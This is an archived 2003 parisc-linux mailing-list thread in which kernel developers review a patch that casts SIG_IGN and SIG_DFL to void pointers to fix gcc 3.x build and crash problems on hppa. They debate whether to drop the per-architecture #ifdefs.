X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18387

> AFAIK here is the full patch I suggested after some mail exchanges with Dave:
> 

I think willy already mentioned that:

> +#if !defined (__LP64__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__
> >= 1))
> +		if (ka->sa.sa_handler == (void *)SIG_IGN) {
> +#else
>  		if (ka->sa.sa_handler == SIG_IGN) {
> +#endif

is wrong.. just do

> +		if (ka->sa.sa_handler == (void *)SIG_IGN) {

unconditionally. don't put the ifdef's in.

can you post a cleaned up patch?

thanks,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Tue, 6 May 2003 17:04:55 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <3EB7766A00000308@ocpmta7.freegates.net>
References: <20030506140425.GF18309@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622427 25400 80.91.229.3 (22 Nov 2014 02:13:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:47 +0000 (UTC)
Cc: "Jan-Benedict Glaw" <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  6 09:05:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 169944829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 May 2003 09:05:09 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 6 May 2003 17:04:55 +0200
In-Reply-To: <20030506140425.GF18309@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18388

>
>is wrong.. just do
>
>> +		if (ka->sa.sa_handler == (void *)SIG_IGN) {
>
>unconditionally. don't put the ifdef's in.
>
That is ok for me (even if I don't understand very well :( ; afaik the previous
code works fine for gcc<=3.1 and do not seems to concern 64bits? )

That said, I will try to prepare a new patch asap.

Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Tue, 6 May 2003 08:08:27 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20030506150827.GA23465@tausq.org>
References: <20030506140425.GF18309@tausq.org> <3EB7766A00000308@ocpmta7.freegates.net>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622428 25401 80.91.229.3 (22 Nov 2014 02:13:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:48 +0000 (UTC)
Cc: Jan-Benedict Glaw <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  6 09:11:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61A384829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 May 2003 09:11:23 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 78145CD295; Tue,  6 May 2003 08:08:27 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3EB7766A00000308@ocpmta7.freegates.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18389

> That is ok for me (even if I don't understand very well :( ; afaik the previous
> code works fine for gcc<=3.1 and do not seems to concern 64bits? )

The point is that if the new code is always correct, then littering 
the code with #ifdef's makes the code hard to read and maintain. If 
you really need to make the code different for the two cases, it's 
better to conditionally define a function/macro in a single place 
(header file) and use that in the source, rather than having ifdef's 
in many places.

HTH,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH-2.4] DIVA serial build error (was: Oops on 2.4.20-pa33)
Date: Tue, 6 May 2003 17:20:21 +0200
Lines: 48
Approved: news@gmane.org
Message-ID: <20030506152021.GC27494@lug-owl.de>
References: <20030505200251.GS27494@lug-owl.de> <20030505200537.GF29544@tausq.org> <20030505210532.GU27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="pqZtgxSH0iQu6R78"
X-Trace: ger.gmane.org 1416622428 25404 80.91.229.3 (22 Nov 2014 02:13:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  6 09:20:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id BFB684829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 May 2003 09:20:22 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 8C0004AB84; Tue,  6 May 2003 17:20:21 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030505210532.GU27494@lug-owl.de>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18390

--pqZtgxSH0iQu6R78
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 2003-05-05 23:05:32 +0200, Jan-Benedict Glaw <jbglaw@lug-owl.de>
wrote in message <20030505210532.GU27494@lug-owl.de>:
> On Mon, 2003-05-05 13:05:37 -0700, Randolph Chung <randolph@tausq.org>
> wrote in message <20030505200537.GF29544@tausq.org>:
> > > IAOQ:   10224658        __canonicalize_funcptr_for_compare
> > > r02:    101229d4        do_sigaction
> >=20
> > i don't have a 32-bit machine handy, can you try this patch and let me
> > know if it fixes your problem? An earlier version of this was posted on
> > this list but didn't get commited. thx -randolph
>=20
> Oh, forgive me to be that read resistant:)

I've tried your patch - the box still crashed, but I haven't noted down
all the crash (out of time:( I'll redo it most probably this evening.

Has anybody looked at the other patch (I sent with the mail I'm now
replyin' to)? It was needed and seems to be correct. Is anybody to check
it into CVS?

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--pqZtgxSH0iQu6R78
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+t9K1Hb1edYOZ4bsRAh5iAJ0QNCOA1qRLogh/2CvQeHM/B1uEcACeKkiX
Sh476D/D8rHoba+HKSri1qs=
=jM7X
-----END PGP SIGNATURE-----

--pqZtgxSH0iQu6R78--


From - Thu Nov 08 21:27:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Tue, 6 May 2003 18:34:55 +0200
Lines: 191
Approved: news@gmane.org
Message-ID: <3EB7766A00000392@ocpmta7.freegates.net>
References: <3EB7766A00000308@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622428 25405 80.91.229.3 (22 Nov 2014 02:13:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:48 +0000 (UTC)
Cc: "Jan-Benedict Glaw" <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  6 10:35:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id A01954829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 May 2003 10:35:00 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 6 May 2003 18:34:55 +0200
In-Reply-To: <3EB7766A00000308@ocpmta7.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18391

>
>That said, I will try to prepare a new patch asap.
>
Ok here we are:

=====
diff -NaurX dontdiff linux-2.4.20-pa33/arch/parisc/kernel/signal.c linux-2.4.20-pa33-gcc33/arch/parisc/kernel/signal.c
--- linux-2.4.20-pa33/arch/parisc/kernel/signal.c	2003-05-06 17:47:32.000000000
+0200
+++ linux-2.4.20-pa33-gcc33/arch/parisc/kernel/signal.c	2003-05-06 18:09:35.000000000
+0200
@@ -489,7 +489,7 @@
 		ka = &current->sig->action[signr-1];
 		DBG(("sa_handler is %x\n", 
 			(unsigned int) ka->sa.sa_handler));
-		if (ka->sa.sa_handler == SIG_IGN) {
+		if (ka->sa.sa_handler == (void *)SIG_IGN) {
 			if (signr != SIGCHLD)
 				continue;
 			while (sys_wait4(-1, NULL, WNOHANG, NULL) > 0)
@@ -497,7 +497,7 @@
 			continue;
 		}
 
-		if (ka->sa.sa_handler == SIG_DFL) {
+		if (ka->sa.sa_handler == (void *)SIG_DFL) {
 			int exit_code = signr;
 
 			/* Init gets no signals it doesn't want.  */
diff -NaurX dontdiff linux-2.4.20-pa33/drivers/char/n_tty.c linux-2.4.20-pa33-gcc33/drivers/char/n_tty.c
--- linux-2.4.20-pa33/drivers/char/n_tty.c	2003-05-06 17:49:36.000000000
+0200
+++ linux-2.4.20-pa33-gcc33/drivers/char/n_tty.c	2003-05-06 18:10:25.000000000
+0200
@@ -810,7 +810,11 @@
 int is_ignored(int sig)
 {
 	return (sigismember(&current->blocked, sig) ||
+#if defined (__hppa__)
+	        current->sig->action[sig-1].sa.sa_handler == (void *)SIG_IGN);
+#else
 	        current->sig->action[sig-1].sa.sa_handler == SIG_IGN);
+#endif
 }
 
 static void n_tty_set_termios(struct tty_struct *tty, struct termios * old)
diff -NaurX dontdiff linux-2.4.20-pa33/fs/ncpfs/sock.c linux-2.4.20-pa33-gcc33/fs/ncpfs/sock.c
--- linux-2.4.20-pa33/fs/ncpfs/sock.c	2003-05-06 17:50:52.000000000 +0200
+++ linux-2.4.20-pa33-gcc33/fs/ncpfs/sock.c	2003-05-06 18:11:12.000000000
+0200
@@ -466,9 +466,17 @@
 			   What if we've blocked it ourselves?  What about
 			   alarms?  Why, in fact, are we mucking with the
 			   sigmask at all? -- r~ */
+#if defined (__hppa__)
+			if (current->sig->action[SIGINT - 1].sa.sa_handler == (void *)SIG_DFL)
+#else
 			if (current->sig->action[SIGINT - 1].sa.sa_handler == SIG_DFL)
+#endif
 				mask |= sigmask(SIGINT);
+#if defined (__hppa__)
+			if (current->sig->action[SIGQUIT - 1].sa.sa_handler == (void *)SIG_DFL)
+#else
 			if (current->sig->action[SIGQUIT - 1].sa.sa_handler == SIG_DFL)
+#endif
 				mask |= sigmask(SIGQUIT);
 		}
 		siginitsetinv(&current->blocked, mask);
diff -NaurX dontdiff linux-2.4.20-pa33/fs/proc/array.c linux-2.4.20-pa33-gcc33/fs/proc/array.c
--- linux-2.4.20-pa33/fs/proc/array.c	2002-08-07 07:56:58.000000000 +0200
+++ linux-2.4.20-pa33-gcc33/fs/proc/array.c	2003-05-06 18:12:07.000000000
+0200
@@ -231,9 +231,17 @@
 	if (p->sig) {
 		k = p->sig->action;
 		for (i = 1; i <= _NSIG; ++i, ++k) {
+#if defined (__hppa__)
+			if (k->sa.sa_handler == (void *)SIG_IGN)
+#else
 			if (k->sa.sa_handler == SIG_IGN)
+#endif
 				sigaddset(ign, i);
+#if defined (__hppa__)
+			else if (k->sa.sa_handler != (void *)SIG_DFL)
+#else
 			else if (k->sa.sa_handler != SIG_DFL)
+#endif
 				sigaddset(catch, i);
 		}
 	}
diff -NaurX dontdiff linux-2.4.20-pa33/kernel/signal.c linux-2.4.20-pa33-gcc33/kernel/signal.c
--- linux-2.4.20-pa33/kernel/signal.c	2002-11-29 07:49:17.000000000 +0100
+++ linux-2.4.20-pa33-gcc33/kernel/signal.c	2003-05-06 18:13:50.000000000
+0200
@@ -126,7 +126,11 @@
 	int i;
 	struct k_sigaction *ka = &t->sig->action[0];
 	for (i = _NSIG ; i != 0 ; i--) {
+#if defined (__hppa__)
+		if (ka->sa.sa_handler != (void *)SIG_IGN)
+#else
 		if (ka->sa.sa_handler != SIG_IGN)
+#endif
 			ka->sa.sa_handler = SIG_DFL;
 		ka->sa.sa_flags = 0;
 		sigemptyset(&ka->sa.sa_mask);
@@ -572,7 +576,11 @@
 		return -ESRCH;
 	}
 
+#if defined (__hppa__)
+	if (t->sig->action[sig-1].sa.sa_handler == (void *)SIG_IGN)
+#else
 	if (t->sig->action[sig-1].sa.sa_handler == SIG_IGN)
+#endif
 		t->sig->action[sig-1].sa.sa_handler = SIG_DFL;
 	sigdelset(&t->blocked, sig);
 	recalc_sigpending(t);
@@ -1094,8 +1102,13 @@
 		 * the signal to be ignored.
 		 */
 
+#if defined (__hppa__)
+		if (k->sa.sa_handler == (void *)SIG_IGN
+		    || (k->sa.sa_handler == (void *)SIG_DFL
+#else
 		if (k->sa.sa_handler == SIG_IGN
 		    || (k->sa.sa_handler == SIG_DFL
+#endif
 			&& (sig == SIGCONT ||
 			    sig == SIGCHLD ||
 			    sig == SIGURG ||
diff -NaurX dontdiff linux-2.4.20-pa33/net/sunrpc/clnt.c linux-2.4.20-pa33-gcc33/net/sunrpc/clnt.c
--- linux-2.4.20-pa33/net/sunrpc/clnt.c	2003-05-06 18:03:20.000000000 +0200
+++ linux-2.4.20-pa33-gcc33/net/sunrpc/clnt.c	2003-05-06 18:14:43.000000000
+0200
@@ -209,9 +209,17 @@
 	/* Turn off various signals */
 	if (clnt->cl_intr) {
 		struct k_sigaction *action = current->sig->action;
+#if defined (__hppa__)
+		if (action[SIGINT-1].sa.sa_handler == (void *)SIG_DFL)
+#else
 		if (action[SIGINT-1].sa.sa_handler == SIG_DFL)
+#endif
 			sigallow |= sigmask(SIGINT);
+#if defined (__hppa__)
+		if (action[SIGQUIT-1].sa.sa_handler == (void *)SIG_DFL)
+#else
 		if (action[SIGQUIT-1].sa.sa_handler == SIG_DFL)
+#endif
 			sigallow |= sigmask(SIGQUIT);
 	}
 	spin_lock_irqsave(&current->sigmask_lock, irqflags);
diff -NaurX dontdiff linux-2.4.20-pa33/include/linux/compiler.h linux-2.4.20-pa33-gcc33/include/linux/compiler.h
--- linux-2.4.20-pa33/include/linux/compiler.h	2003-05-06 18:01:11.000000000
+0200
+++ linux-2.4.20-pa33-gcc33/include/linux/compiler.h	2003-05-06 18:08:56.000000000
+0200
@@ -1,6 +1,12 @@
 #ifndef __LINUX_COMPILER_H
 #define __LINUX_COMPILER_H
 
+#if (__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 1)
+#define inline		__inline__ __attribute__((always_inline))
+#define __inline__	__inline__ __attribute__((always_inline))
+#define __inline	__inline__ __attribute__((always_inline))
+#endif
+
 /* Somewhere in the middle of the GCC 2.96 development cycle, we implemented
    a mechanism by which the user can annotate likely branch directions and
    expect the blocks to be reordered appropriately.  Define __builtin_expect

PS1: compiler patch is not of me; a backport suggested in the pa-ml (Willy
iirc)

PS2: for files in main tree I save (if _hppa_ because seems to be specific
to hppa according very early Dave mail :)

hth,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Tue, 6 May 2003 12:42:05 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200305061642.h46Gg6FU004016@hiauly1.hia.nrc.ca>
References: <3EB7766A00000392@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622428 25409 80.91.229.3 (22 Nov 2014 02:13:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:48 +0000 (UTC)
Cc: randolph@tausq.org, jbglaw@lug-owl.de,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  6 10:42:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C73454829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 May 2003 10:42:09 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h46Gg6we004017;
	Tue, 6 May 2003 12:42:07 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h46Gg6FU004016;
	Tue, 6 May 2003 12:42:06 -0400 (EDT)
In-Reply-To: <3EB7766A00000392@ocpmta7.freegates.net> from "Joel Soete" at May 6, 2003 06:34:55 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18392

> +#if defined (__hppa__)
> +	        current->sig->action[sig-1].sa.sa_handler == (void *)SIG_IGN);
> +#else
>  	        current->sig->action[sig-1].sa.sa_handler == SIG_IGN);
> +#endif

You don't need to conditionalize the statement with the cast.  It should
work on all ports.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Tue, 6 May 2003 19:33:28 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <3EB7766A000003D3@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622429 25413 80.91.229.3 (22 Nov 2014 02:13:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  6 11:34:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id C11C04829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 May 2003 11:34:01 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 6 May 2003 19:33:28 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18393

>> That is ok for me (even if I don't understand very well :( ; afaik the
>previous
>> code works fine for gcc<=3.1 and do not seems to concern 64bits? )
>
>The point is that if the new code is always correct, then littering
>the code with #ifdef's makes the code hard to read and maintain. If
>you really need to make the code different for the two cases, it's
>better to conditionally define a function/macro in a single place
>(header file) and use that in the source, rather than having ifdef's
>in many places.
>
>HTH,

Very clear now, but not easy to implement:
- which name to give to such a macro
- where to implement it:
    the temptation to change the definition of SIG_IGN and SIG_DFL in asm-parisc/signal.h
is great but it will solve comparison pb but will broken variable affectation.
    So may be better to define something like:
#define CMP_SIG( (x), (cmp), (y) ( (x) (cmp) (void*)(y) )

(but care have to be taken to always place SIG_... at the right (y) place?)

then change all occurences of SIG_... comparison??

There must be better idea else where but I ignore it :(
Also suggestion is welcome.

Thanks again,
    Joel



---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Tue, 6 May 2003 10:40:39 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20030506174039.GC23465@tausq.org>
References: <3EB7766A000003D3@ocpmta7.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622429 25414 80.91.229.3 (22 Nov 2014 02:13:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  6 11:44:42 2003
